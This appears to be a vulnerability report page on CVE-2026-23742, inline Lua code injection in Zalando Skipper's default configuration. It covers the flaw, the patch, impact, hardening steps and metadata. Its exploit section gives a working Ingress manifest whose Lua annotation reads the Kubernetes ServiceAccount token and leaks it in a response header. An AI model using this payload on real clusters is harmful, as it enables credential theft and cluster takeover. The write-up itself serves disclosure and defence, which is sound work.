CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23742
8.80.05%

Skipper's Log: RCE via Lua Injection in Zalando Skipper

Alon Barad
Alon Barad
Software Engineer

Feb 17, 2026·6 min read·7 visits

PoC Available

Executive Summary (TL;DR)

Default configuration in Zalando Skipper < 0.23.0 allowed inline Lua script execution in routes. Attackers with Ingress creation rights could inject malicious scripts to read secrets or execute commands.

Zalando Skipper, a popular HTTP router and reverse proxy often used as a Kubernetes Ingress controller, contained a critical vulnerability allowing Arbitrary Code Execution (ACE) via Lua scripting. Prior to version 0.23.0, the Lua filter was enabled by default with permissive settings, allowing any user with the ability to define routes (e.g., via Kubernetes Ingress annotations) to inject inline Lua code. This code executed within the context of the Skipper process, granting attackers full access to the container's filesystem and environment variables, effectively compromising the ingress layer.

The Hook: Programmable Proxies or Remote Shells?

In the world of microservices, we demand our load balancers be 'smart'. We want them to route based on headers, rewrite paths, and perform complex logic at the edge. Enter Zalando Skipper, a Go-based HTTP router that is widely loved for its flexibility. It's the Swiss Army knife of proxies.

But here is the thing about Swiss Army knives: sometimes you pull out the toothpick, and sometimes you accidentally pull out the blade and cut your finger. Skipper's 'blade' was its Lua scripting filter.

To make routing logic infinitely customizable, the developers integrated a Lua engine. It allows users to write small scripts to manipulate requests on the fly. This sounds fantastic for a developer who wants to do some complex header manipulation. However, to a security researcher, 'integrated scripting engine' usually translates to 'Remote Code Execution waiting to happen'.

For years, this feature sat there, enabled by default, waiting for someone to realize that if you let users define the logic of the router, they own the router.

The Flaw: A Case of Insecure Defaults

The vulnerability (CVE-2026-23742) isn't a complex buffer overflow or a subtle race condition. It is a classic architectural failure: Insecure Defaults.

Prior to version 0.23.0, Skipper's configuration had two fatal flaws:

  1. Implicit Trust: The Lua filter was active out-of-the-box. You didn't have to turn it on; you had to know to turn it off.
  2. Inline Execution: The -lua-sources flag defaulted to inline,file. This meant scripts didn't need to be static files vetted by an admin and placed on the server. They could be provided inline as a string within the route definition.

In a Kubernetes environment, Skipper often acts as the Ingress Controller. Developers create Ingress resources to route traffic to their apps. If a developer (or an attacker who has compromised a developer's credentials) can create an Ingress resource, they can define Skipper filters.

> [!NOTE] > Because the Lua environment wasn't sandboxed or stripped of standard libraries, the injected scripts had access to the io and os modules. This is the difference between "I can change a header" and "I can read your Kubernetes Service Account token."

The Code: The 'Just Turn It Off' Patch

The fix provided by the Zalando team in version 0.23.0 is a textbook example of shifting to 'Secure by Default'. Let's look at the logic change in the patch.

In the vulnerable versions, the code likely initialized the Lua state regardless of configuration. The fix introduces a specific flag EnableLua and wraps the initialization logic in a check.

Here is a reconstruction of the logic flow based on the patch data:

// BEFORE: Lua support was implicitly available
func NewEndpoint( /* ... */ ) {
    // ... code ...
    // The Lua filter was registered and available for use in routes
    registerLuaFilter()
}
 
// AFTER: Explicit opt-in required
func NewEndpoint(options Options) {
    // ... code ...
    if options.EnableLua {
        // Only now do we spin up the Lua engine
        registerLuaFilter()
    } else {
        log.Infof("Lua filter is disabled")
    }
}

The commit 0b52894570773b29e2f3c571b94b4211ef8fa714 does exactly this. It adds a boolean flag -enable-lua which defaults to false. If you want the danger, you now have to ask for it explicitly. Furthermore, they refined the -lua-modules flag, allowing admins to granularly control which Lua packages (like os or io) are loaded, rather than giving the script the keys to the castle.

The Exploit: Stealing the Keys to the Cluster

Let's put on our black hats. We have access to a Kubernetes namespace and we can create Ingress objects. We want to pivot from this low-privilege access to compromising the entire cluster.

Since Skipper runs as a pod in the cluster, it has a mounted ServiceAccount token at /var/run/secrets/kubernetes.io/serviceaccount/token. If we can read this file, we become the Ingress Controller.

The Attack Plan:

  1. Create a malicious Ingress resource.
  2. Inject a Lua script via the zalando.org/skipper-filter annotation.
  3. Use Lua's io library to read the token file.
  4. Exfiltrate the token in an HTTP response header.

The Payload:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-2026-23742-poc
  annotations:
    # The magic happens here. We define an inline Lua script.
    zalando.org/skipper-filter: |
      lua("
        local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
        if file then
            local token = file:read('*all')
            file:close()
            -- Exfiltrate via response header
            response.header['X-Pwned-Token'] = token
        else
            response.header['X-Error'] = 'Could not open file'
        end
      ")
spec:
  rules:
  - host: pwned.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: any-service
            port:
              number: 80

Once applied, a simple curl -v http://pwned.example.com returns the cluster's ServiceAccount token in the X-Pwned-Token header. Game over.

The Impact: Why This Matters

The impact here is Critical. An Ingress Controller sits at the border of your network. It terminates TLS, it sees all traffic, and it often holds privileged credentials.

By exploiting this, an attacker achieves:

  1. Cluster Compromise: The ServiceAccount token usually allows reading all Secrets in the cluster or manipulating other network settings.
  2. Data Exfiltration: The attacker can modify the Lua script to log request bodies (passwords, API keys) to an external server.
  3. Lateral Movement: With the ability to execute code on the ingress, the attacker can probe the internal network, attacking services that were never meant to be exposed to the internet.

It is effectively a bridge from 'external user' to 'internal admin' via a single configuration text field.

The Fix: Hardening the Proxy

The immediate remediation is to upgrade to Skipper v0.23.0. This version disables Lua by default. If you don't use Lua filters, you are instantly safe after the upgrade.

If you do need Lua filters, you have some homework to do:

  1. Explicitly Enable: You must add -enable-lua to your start arguments.
  2. Restrict Sources: Do not use inline sources in production. Set -lua-sources=file. This forces all scripts to be loaded from the filesystem, meaning an attacker needs file-write access to the Skipper pod to inject code, which is a much higher bar than just editing a YAML.
  3. Sandboxing: Use the new module restrictions to disable io, os, and debug packages. Unless your routing logic involves reading files from the disk (why?), your proxy shouldn't have access to the filesystem API.

Official Patches

ZalandoOfficial release notes for v0.23.0 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.05%
Top 84% most exploited

Affected Systems

Zalando Skipper < v0.23.0Kubernetes Clusters using vulnerable Skipper as Ingress

Affected Versions Detail

Product
Affected Versions
Fixed Version
Skipper
Zalando
< 0.23.00.23.0
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS8.8 (Critical)
Exploit StatusPoC Available
Privileges RequiredLow (Route creation)
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1552Unsecured Credentials
Credential Access
T1203Exploitation for Client Execution
Execution
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing example attack vectors and mitigation details

Vulnerability Timeline

Vulnerability Disclosed & CVE Assigned
2026-01-16
Patch v0.23.0 Released
2026-01-16
NVD Record Updated
2026-01-26

References & Sources

  • [1]GHSA-cc8m-98fm-rc9g
  • [2]NVD - CVE-2026-23742

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.